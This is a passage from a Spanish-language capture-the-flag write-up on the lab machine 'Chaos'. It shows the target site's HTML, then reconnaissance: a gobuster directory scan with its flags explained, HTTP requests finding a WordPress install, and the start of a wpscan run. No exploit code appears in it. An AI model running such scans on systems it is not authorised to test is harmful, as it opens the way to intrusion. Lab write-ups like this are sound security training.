</span></span><span style="display:flex;"><span>	  &lt;script src=&#34;https://oss.maxcdn.com/respond/1.4.2/respond.min.js&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>	&lt;![endif]--&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;/head&gt;
</span></span><span style="display:flex;"><span>&lt;body&gt;
</span></span><span style="display:flex;"><span>	&lt;!-- Page Preloder --&gt;
</span></span><span style="display:flex;"><span>	&lt;div id=&#34;preloder&#34;&gt;
</span></span><span style="display:flex;"><span>		&lt;div class=&#34;loader&#34;&gt;&lt;/div&gt;
</span></span><span style="display:flex;"><span>	&lt;/div&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;!-- Header section start --&gt;
</span></span><span style="display:flex;"><span>	&lt;header class=&#34;header-section sp-pad&#34;&gt;
</span></span><span style="display:flex;"><span>		&lt;h3 class=&#34;site-logo&#34;&gt;Chaos&lt;/h3&gt;
</span></span><span style="display:flex;"><span>		&lt;form class=&#34;search-top&#34;&gt;
</span></span><span style="display:flex;"><span>			&lt;button class=&#34;se-btn&#34;&gt;&lt;i class=&#34;fa fa-search&#34;&gt;&lt;/i&gt;&lt;/button&gt;
</span></span><span style="display:flex;"><span>			&lt;input type=&#34;text&#34; placeholder=&#34;Search.....&#34;&gt;
</span></span><span style="display:flex;"><span>		&lt;/form&gt;
</span></span><span style="display:flex;"><span>		&lt;div class=&#34;nav-switch&#34;&gt;
</span></span><span style="display:flex;"><span>			&lt;i class=&#34;fa fa-bars&#34;&gt;&lt;/i&gt;
</span></span><span style="display:flex;"><span>		&lt;/div&gt;
</span></span><span style="display:flex;"><span>		&lt;nav class=&#34;main-menu&#34;&gt;
</span></span><span style="display:flex;"><span>			&lt;ul&gt;
</span></span><span style="display:flex;"><span>				&lt;li&gt;&lt;a href=&#34;index.html&#34;&gt;Home&lt;/a&gt;&lt;/li&gt;
</span></span><span style="display:flex;"><span>				&lt;li&gt;&lt;a href=&#34;about.html&#34;&gt;about us&lt;/a&gt;&lt;/li&gt;
</span></span><span style="display:flex;"><span>				&lt;li&gt;&lt;a href=&#34;#&#34;&gt;Services&lt;/a&gt;&lt;/li&gt;
</span></span><span style="display:flex;"><span>				&lt;li&gt;&lt;a href=&#34;hof.html&#34;&gt;Hall of fame&lt;/a&gt;&lt;/li&gt;
</span></span><span style="display:flex;"><span>				&lt;li&gt;&lt;a href=&#34;blog.html&#34;&gt;Blog&lt;/a&gt;&lt;/li&gt;
</span></span><span style="display:flex;"><span>				&lt;li&gt;&lt;a href=&#34;contact.html&#34;&gt;Contact&lt;/a&gt;&lt;/li&gt;
</span></span><span style="display:flex;"><span>			&lt;/ul&gt;
</span></span><span style="display:flex;"><span>		&lt;/nav&gt;
</span></span><span style="display:flex;"><span>	&lt;/header&gt;
</span></span><span style="display:flex;"><span>	&lt;!-- Header section end --&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;!-- Hero section start --&gt;
</span></span><span style="display:flex;"><span>	&lt;section class=&#34;hero-section&#34;&gt;
</span></span><span style="display:flex;"><span>		&lt;div class=&#34;hero-slider owl-carousel&#34;&gt;
</span></span><span style="display:flex;"><span>			&lt;div class=&#34;hs-item set-bg sp-pad&#34; data-setbg=&#34;img/hero-slider/1.jpg&#34;&gt;
</span></span><span style="display:flex;"><span>				&lt;div class=&#34;hs-text&#34;&gt;
</span></span><span style="display:flex;"><span>					&lt;h2 class=&#34;hs-title&#34;&gt;Here at Chaos&lt;/h2&gt;
</span></span><span style="display:flex;"><span>					&lt;p class=&#34;hs-des&#34;&gt;We &lt;br&gt;secure and create awesome services&lt;/p&gt;
</span></span><span style="display:flex;"><span>				&lt;/div&gt;
</span></span><span style="display:flex;"><span>			&lt;/div&gt;
</span></span><span style="display:flex;"><span>			&lt;div class=&#34;hs-item set-bg sp-pad&#34; data-setbg=&#34;img/hero-slider/2.jpg&#34;&gt;
</span></span><span style="display:flex;"><span>				&lt;div class=&#34;hs-text&#34;&gt;
</span></span><span style="display:flex;"><span>					&lt;h2 class=&#34;hs-title&#34;&gt;Here at Chaos&lt;/h2&gt;
</span></span><span style="display:flex;"><span>					&lt;p class=&#34;hs-des&#34;&gt;We  &lt;br&gt;shield&lt;/p&gt;
</span></span><span style="display:flex;"><span>				&lt;/div&gt;
</span></span><span style="display:flex;"><span>			&lt;/div&gt;
</span></span><span style="display:flex;"><span>		&lt;/div&gt;
</span></span><span style="display:flex;"><span>	&lt;/section&gt;
</span></span><span style="display:flex;"><span>	&lt;!-- Hero section end --&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;!-- Intro section start --&gt;
</span></span><span style="display:flex;"><span>	&lt;section class=&#34;intro-section sp-pad spad&#34;&gt;
</span></span><span style="display:flex;"><span>		&lt;div class=&#34;container-fluid&#34;&gt;
</span></span><span style="display:flex;"><span>			&lt;div class=&#34;row&#34;&gt;
</span></span><span style="display:flex;"><span>				&lt;div class=&#34;col-xl-4 intro-text&#34;&gt;
</span></span><span style="display:flex;"><span>					&lt;span class=&#34;sp-sub-title&#34;&gt;Work&lt;/span&gt;
</span></span><span style="display:flex;"><span>					&lt;h3 class=&#34;sp-title&#34;&gt;OUR AWESOME SERVICES.&lt;/h3&gt;
</span></span><span style="display:flex;"><span>					&lt;p&gt;we a concentrated evaluation of your information security posture, indicating weaknesses as well as providing the appropriate mitigation procedures required to either eliminate those weaknesses or reduce them to an acceptable level of risk. Alongside vulnerability assessment we also perform distinguishable penetration testing services, this approach by a group of certified security researchers and domain experts at chaos is unique because of our intrinsic desire to see if your applications can be broken into past the normally-presented boundaries.&lt;/p&gt;
</span></span><span style="display:flex;"><span>					&lt;a href=&#34;#&#34; class=&#34;site-btn&#34;&gt;Read More&lt;/a&gt;
</span></span><span style="display:flex;"><span>				&lt;/div&gt;
</span></span><span style="display:flex;"><span>				&lt;div class=&#34;col-xl-7 offset-xl-1&#34;&gt;
</span></span><span style="display:flex;"><span>					&lt;figure class=&#34;intro-img mt-5 mt-xl-0&#34;&gt;
</span></span><span style="display:flex;"><span>						&lt;img src=&#34;img/intro.jpg&#34; alt=&#34;&#34;&gt;
</span></span><span style="display:flex;"><span>					&lt;/figure&gt;
</span></span><span style="display:flex;"><span>				&lt;/div&gt;
</span></span><span style="display:flex;"><span>			&lt;/div&gt;
</span></span><span style="display:flex;"><span>		&lt;/div&gt;
</span></span><span style="display:flex;"><span>	&lt;/section&gt;
</span></span><span style="display:flex;"><span>	&lt;!-- Intro section end --&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;!-- Milestones section start --&gt;
</span></span><span style="display:flex;"><span>	&lt;section class=&#34;milestones-section spad&#34;&gt;
</span></span><span style="display:flex;"><span>		&lt;div class=&#34;container&#34;&gt;
</span></span><span style="display:flex;"><span>			&lt;div class=&#34;row&#34;&gt;
</span></span><span style="display:flex;"><span>				&lt;div class=&#34;col-lg-3 col-md-6 fact-box&#34;&gt;
</span></span><span style="display:flex;"><span>					&lt;div class=&#34;fact-content&#34;&gt;
</span></span><span style="display:flex;"><span>						&lt;i class=&#34;flaticon-gamepad&#34;&gt;&lt;/i&gt;
</span></span><span style="display:flex;"><span>						&lt;h2&gt;48&lt;/h2&gt;
</span></span><span style="display:flex;"><span>						&lt;p&gt;VIDEO gAMES&lt;/p&gt;
</span></span><span style="display:flex;"><span>					&lt;/div&gt;
</span></span><span style="display:flex;"><span>				&lt;/div&gt;
</span></span><span style="display:flex;"><span>				&lt;div class=&#34;col-lg-3 col-md-6 fact-box&#34;&gt;
</span></span><span style="display:flex;"><span>					&lt;div class=&#34;fact-content&#34;&gt;
</span></span><span style="display:flex;"><span>						&lt;i class=&#34;flaticon-trophy&#34;&gt;&lt;/i&gt;
</span></span><span style="display:flex;"><span>						&lt;h2&gt;7&lt;/h2&gt;
</span></span><span style="display:flex;"><span>						&lt;p&gt;AWARDS WON&lt;/p&gt;
</span></span><span style="display:flex;"><span>					&lt;/div&gt;
</span></span><span style="display:flex;"><span>				&lt;/div&gt;
</span></span><span style="display:flex;"><span>				&lt;div class=&#34;col-lg-3 col-md-6 fact-box&#34;&gt;
</span></span><span style="display:flex;"><span>					&lt;div class=&#34;fact-content&#34;&gt;
</span></span><span style="display:flex;"><span>						&lt;i class=&#34;flaticon-alarm-clock&#34;&gt;&lt;/i&gt;
</span></span><span style="display:flex;"><span>						&lt;h2&gt;23K&lt;/h2&gt;
</span></span><span style="display:flex;"><span>						&lt;p&gt;Website secured&lt;/p&gt;
</span></span><span style="display:flex;"><span>					&lt;/div&gt;
</span></span><span style="display:flex;"><span>				&lt;/div&gt;
</span></span><span style="display:flex;"><span>				&lt;div class=&#34;col-lg-3 col-md-6 fact-box&#34;&gt;
</span></span><span style="display:flex;"><span>					&lt;div class=&#34;fact-content&#34;&gt;
</span></span><span style="display:flex;"><span>						&lt;i class=&#34;flaticon-laptop&#34;&gt;&lt;/i&gt;
</span></span><span style="display:flex;"><span>						&lt;h2&gt;19&lt;/h2&gt;
</span></span><span style="display:flex;"><span>						&lt;p&gt;Video tutorials&lt;/p&gt;
</span></span><span style="display:flex;"><span>					&lt;/div&gt;
</span></span><span style="display:flex;"><span>				&lt;/div&gt;
</span></span><span style="display:flex;"><span>			&lt;/div&gt;
</span></span><span style="display:flex;"><span>		&lt;/div&gt;
</span></span><span style="display:flex;"><span>	&lt;/section&gt;
</span></span><span style="display:flex;"><span>	&lt;!-- Milestones section end --&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;!-- Services section start --&gt;
</span></span><span style="display:flex;"><span>	&lt;!-- Services section start end --&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;!-- Contact section start --&gt;
</span></span><span style="display:flex;"><span>	&lt;section class=&#34;contact-section set-bg spad&#34; data-setbg=&#34;img/contact-bg.jpg&#34;&gt;
</span></span><span style="display:flex;"><span>		&lt;div class=&#34;container-fluid contact-warp&#34;&gt;
</span></span><span style="display:flex;"><span>			&lt;div class=&#34;contact-text&#34;&gt;
</span></span><span style="display:flex;"><span>				&lt;div class=&#34;container p-0&#34;&gt;
</span></span><span style="display:flex;"><span>					&lt;span class=&#34;sp-sub-title&#34;&gt;&lt;/span&gt;
</span></span><span style="display:flex;"><span>					&lt;h3 class=&#34;sp-title&#34;&gt;Stay in touch&lt;/h3&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>					&lt;ul class=&#34;con-info&#34;&gt;
</span></span><span style="display:flex;"><span>						&lt;li&gt;&lt;i class=&#34;flaticon-phone-call&#34;&gt;&lt;/i&gt;+91 999999999&lt;/li&gt;
</span></span><span style="display:flex;"><span>						&lt;li&gt;&lt;i class=&#34;flaticon-envelope&#34;&gt;&lt;/i&gt;info@chaos.htb&lt;/li&gt;
</span></span><span style="display:flex;"><span>						&lt;li&gt;&lt;i class=&#34;flaticon-placeholder&#34;&gt;&lt;/i&gt;127.0.0.1&lt;br&gt; localhost, USA&lt;/li&gt;
</span></span><span style="display:flex;"><span>					&lt;/ul&gt;
</span></span><span style="display:flex;"><span>				&lt;/div&gt;
</span></span><span style="display:flex;"><span>			&lt;/div&gt;
</span></span><span style="display:flex;"><span>			&lt;div class=&#34;container p-0&#34;&gt;
</span></span><span style="display:flex;"><span>				&lt;div class=&#34;row&#34;&gt;
</span></span><span style="display:flex;"><span>					&lt;div class=&#34;col-xl-8 offset-xl-4&#34;&gt;
</span></span><span style="display:flex;"><span>						&lt;form class=&#34;contact-form&#34;&gt;
</span></span><span style="display:flex;"><span>							&lt;div class=&#34;row&#34;&gt;
</span></span><span style="display:flex;"><span>								&lt;div class=&#34;col-md-6&#34;&gt;
</span></span><span style="display:flex;"><span>									&lt;input type=&#34;text&#34; placeholder=&#34;Your name&#34;&gt;
</span></span><span style="display:flex;"><span>								&lt;/div&gt;
</span></span><span style="display:flex;"><span>								&lt;div class=&#34;col-md-6&#34;&gt;
</span></span><span style="display:flex;"><span>									&lt;input type=&#34;email&#34; placeholder=&#34;E-mail&#34;&gt;
</span></span><span style="display:flex;"><span>								&lt;/div&gt;
</span></span><span style="display:flex;"><span>								&lt;div class=&#34;col-md-12&#34;&gt;
</span></span><span style="display:flex;"><span>									&lt;input type=&#34;text&#34; placeholder=&#34;Subject&#34;&gt;
</span></span><span style="display:flex;"><span>									&lt;textarea placeholder=&#34;Message&#34;&gt;&lt;/textarea&gt;
</span></span><span style="display:flex;"><span>									&lt;button class=&#34;site-btn light&#34;&gt;Send&lt;/button&gt;
</span></span><span style="display:flex;"><span>								&lt;/div&gt;
</span></span><span style="display:flex;"><span>							&lt;/div&gt;
</span></span><span style="display:flex;"><span>						&lt;/form&gt;
</span></span><span style="display:flex;"><span>					&lt;/div&gt;
</span></span><span style="display:flex;"><span>				&lt;/div&gt;
</span></span><span style="display:flex;"><span>			&lt;/div&gt;
</span></span><span style="display:flex;"><span>		&lt;/div&gt;
</span></span><span style="display:flex;"><span>	&lt;/section&gt;
</span></span><span style="display:flex;"><span>	&lt;!-- Contact section end --&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;!-- Footer section start --&gt;
</span></span><span style="display:flex;"><span>	&lt;footer class=&#34;footer-section spad&#34;&gt;
</span></span><span style="display:flex;"><span>		&lt;div class=&#34;container text-center&#34;&gt;
</span></span><span style="display:flex;"><span>			&lt;h2&gt;Letâs work together!&lt;/h2&gt;
</span></span><span style="display:flex;"><span>			&lt;p&gt;info@chaos.htb&lt;/p&gt;
</span></span><span style="display:flex;"><span>			&lt;div class=&#34;social&#34;&gt;
</span></span><span style="display:flex;"><span>				&lt;a href=&#34;#&#34;&gt;&lt;i class=&#34;fa fa-pinterest&#34;&gt;&lt;/i&gt;&lt;/a&gt;
</span></span><span style="display:flex;"><span>				&lt;a href=&#34;#&#34;&gt;&lt;i class=&#34;fa fa-facebook&#34;&gt;&lt;/i&gt;&lt;/a&gt;
</span></span><span style="display:flex;"><span>				&lt;a href=&#34;https://twitter.com/sahay_ay&#34;&gt;&lt;i class=&#34;fa fa-twitter&#34;&gt;&lt;/i&gt;&lt;/a&gt;
</span></span><span style="display:flex;"><span>				&lt;a href=&#34;#&#34;&gt;&lt;i class=&#34;fa fa-dribbble&#34;&gt;&lt;/i&gt;&lt;/a&gt; &lt;/br&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;/br&gt;
</span></span><span style="display:flex;"><span>&lt;font color=&#34;white&#34;&gt;
</span></span><span style="display:flex;"><span>Copyright &amp;copy;&lt;script&gt;document.write(new Date().getFullYear());&lt;/script&gt; All rights reserved
</span></span><span style="display:flex;"><span>&lt;/font&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>			&lt;/div&gt;
</span></span><span style="display:flex;"><span>		&lt;/div&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;/footer&gt;
</span></span><span style="display:flex;"><span>	&lt;!-- Footer section end --&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;!--====== Javascripts &amp; Jquery ======--&gt;
</span></span><span style="display:flex;"><span>	&lt;script src=&#34;js/jquery-3.2.1.min.js&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>	&lt;script src=&#34;js/bootstrap.min.js&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>	&lt;script src=&#34;js/owl.carousel.min.js&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>	&lt;script src=&#34;js/mixitup.min.js&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>	&lt;script src=&#34;js/circle-progress.min.js&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>	&lt;script src=&#34;js/main.js&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>&lt;/body&gt;
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span></code></pre></div><p>Aplicamos un <code>gobuster</code> en búsqueda de mas información:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ ~/tools/gobuster -x pdf,txt,odt,html,php -u http://10.10.10.120 -w ~/git/payloads/owasp/dirbuster/directory-list-lowercase-2.3-small.txt -t 20
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>Gobuster v2.0.1              OJ Reeves (@TheColonial)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>[+] Mode         : dir
</span></span><span style="display:flex;"><span>[+] Url/Domain   : http://10.10.10.120/
</span></span><span style="display:flex;"><span>[+] Threads      : 20
</span></span><span style="display:flex;"><span>[+] Wordlist     : /home/xbytemx/git/payloads/owasp/dirbuster/directory-list-lowercase-2.3-small.txt
</span></span><span style="display:flex;"><span>[+] Status codes : 200,204,301,302,307,403
</span></span><span style="display:flex;"><span>[+] Extensions   : php,pdf,txt,odt,html
</span></span><span style="display:flex;"><span>[+] Timeout      : 10s
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/04/13 22:21:31 Starting gobuster
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>/index.html (Status: 200)
</span></span><span style="display:flex;"><span>/wp (Status: 301)
</span></span><span style="display:flex;"><span>/javascript (Status: 301)
</span></span><span style="display:flex;"><span>Progress: 9352 / 81644 (11.45%)^C
</span></span></code></pre></div><ul>
<li><code>-x pdf,txt,odt,html,php</code> para buscar archivos con las extensiones marcadas</li>
<li><code>-u http://10.10.10.120</code> para indicarle cual es la url base sobre la cual enviara las peticiones</li>
<li><code>-w ~/git/payloads/owasp/dirbuster/directory-list-lowercase-2.3-small.txt</code> para indicarle de donde tomara las referencias (diccionario)</li>
<li><code>-t 20</code> para indicarle cuantos threads puede usar sobre mi conexión</li>
</ul>
<p>Rompí el <code>gobuster</code> tan pronto como vi que había encontrado una carpeta wp o lo que vendría siendo wordpress, así que exploremos si es un wordpress:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~$ http http://10.10.10.120/wp/
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 444
</span></span><span style="display:flex;"><span>Content-Type: text/html;charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Sun, 14 Apr 2019 05:33:51 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Server: Apache/2.4.34 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE HTML PUBLIC &#34;-//W3C//DTD HTML 3.2 Final//EN&#34;&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">title</span>&gt;Index of /wp&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span> &lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">h1</span>&gt;Index of /wp&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">table</span>&gt;
</span></span><span style="display:flex;"><span>   &lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">th</span> <span style="color:#a6e22e">valign</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;top&#34;</span>&gt;&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/icons/blank.gif&#34;</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;[ICO]&#34;</span>&gt;&lt;/<span style="color:#f92672">th</span>&gt;&lt;<span style="color:#f92672">th</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;?C=N;O=D&#34;</span>&gt;Name&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">th</span>&gt;&lt;<span style="color:#f92672">th</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;?C=M;O=A&#34;</span>&gt;Last modified&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">th</span>&gt;&lt;<span style="color:#f92672">th</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;?C=S;O=A&#34;</span>&gt;Size&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">th</span>&gt;&lt;<span style="color:#f92672">th</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;?C=D;O=A&#34;</span>&gt;Description&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">th</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;
</span></span><span style="display:flex;"><span>   &lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">th</span> <span style="color:#a6e22e">colspan</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;5&#34;</span>&gt;&lt;<span style="color:#f92672">hr</span>&gt;&lt;/<span style="color:#f92672">th</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">valign</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;top&#34;</span>&gt;&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/icons/back.gif&#34;</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;[PARENTDIR]&#34;</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/&#34;</span>&gt;Parent Directory&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&amp;nbsp;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">align</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;right&#34;</span>&gt;  - &lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&amp;nbsp;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">valign</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;top&#34;</span>&gt;&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/icons/folder.gif&#34;</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;[DIR]&#34;</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;wordpress/&#34;</span>&gt;wordpress/&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">align</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;right&#34;</span>&gt;2013-09-25 00:18  &lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">align</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;right&#34;</span>&gt;  - &lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&amp;nbsp;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;
</span></span><span style="display:flex;"><span>   &lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">th</span> <span style="color:#a6e22e">colspan</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;5&#34;</span>&gt;&lt;<span style="color:#f92672">hr</span>&gt;&lt;/<span style="color:#f92672">th</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">table</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">address</span>&gt;Apache/2.4.34 (Ubuntu) Server at 10.10.10.120 Port 80&lt;/<span style="color:#f92672">address</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Dentro de la carpeta wp, solo vemos que hay otra carpeta llamada wordpress, plop. Volvamos a tocar base en <code>/wp/wordpress/</code>, esta vez solo headers:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ http --header http://10.10.10.120/wp/wordpress/
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 18217
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Sun, 14 Apr 2019 05:34:12 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Link: &lt;http://10.10.10.120/wp/wordpress/index.php/wp-json/&gt;; rel=&#34;https://api.w.org/&#34;
</span></span><span style="display:flex;"><span>Server: Apache/2.4.34 (Ubuntu)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span></code></pre></div><p>Hemos llegado al wordpress, así que antes de explorar dejemos un <code>wpscan</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/git/wpscan$ wpscan --url http://10.10.10.120/wp/wordpress/
</span></span><span style="display:flex;"><span>_______________________________________________________________
</span></span><span style="display:flex;"><span>        __          _______   _____
</span></span><span style="display:flex;"><span>        \ \        / /  __ \ / ____|
</span></span><span style="display:flex;"><span>         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
</span></span><span style="display:flex;"><span>          \ \/  \/ / |  ___/ \___ \ / __|/ _` | &#39;_ \
</span></span><span style="display:flex;"><span>           \  /\  /  | |     ____) | (__| (_| | | | |
</span></span><span style="display:flex;"><span>            \/  \/   |_|    |_____/ \___|\__,_|_| |_|
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        WordPress Security Scanner by the WPScan Team
</span></span><span style="display:flex;"><span>                       Version 3.5.2
</span></span><span style="display:flex;"><span>          Sponsored by Sucuri - https://sucuri.net
</span></span><span style="display:flex;"><span>      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
</span></span><span style="display:flex;"><span>_______________________________________________________________
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[i] Updating the Database ...
</span></span><span style="display:flex;"><span>[i] Update completed.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] URL: http://10.10.10.120/wp/wordpress/
</span></span><span style="display:flex;"><span>[+] Started: Sun Apr 14 00:06:42 2019
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Interesting Finding(s):
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] http://10.10.10.120/wp/wordpress/
</span></span><span style="display:flex;"><span> | Interesting Entry: Server: Apache/2.4.34 (Ubuntu)
</span></span><span style="display:flex;"><span> | Found By: Headers (Passive Detection)
</span></span><span style="display:flex;"><span> | Confidence: 100%
</span></span><span style="display:flex;"><span>
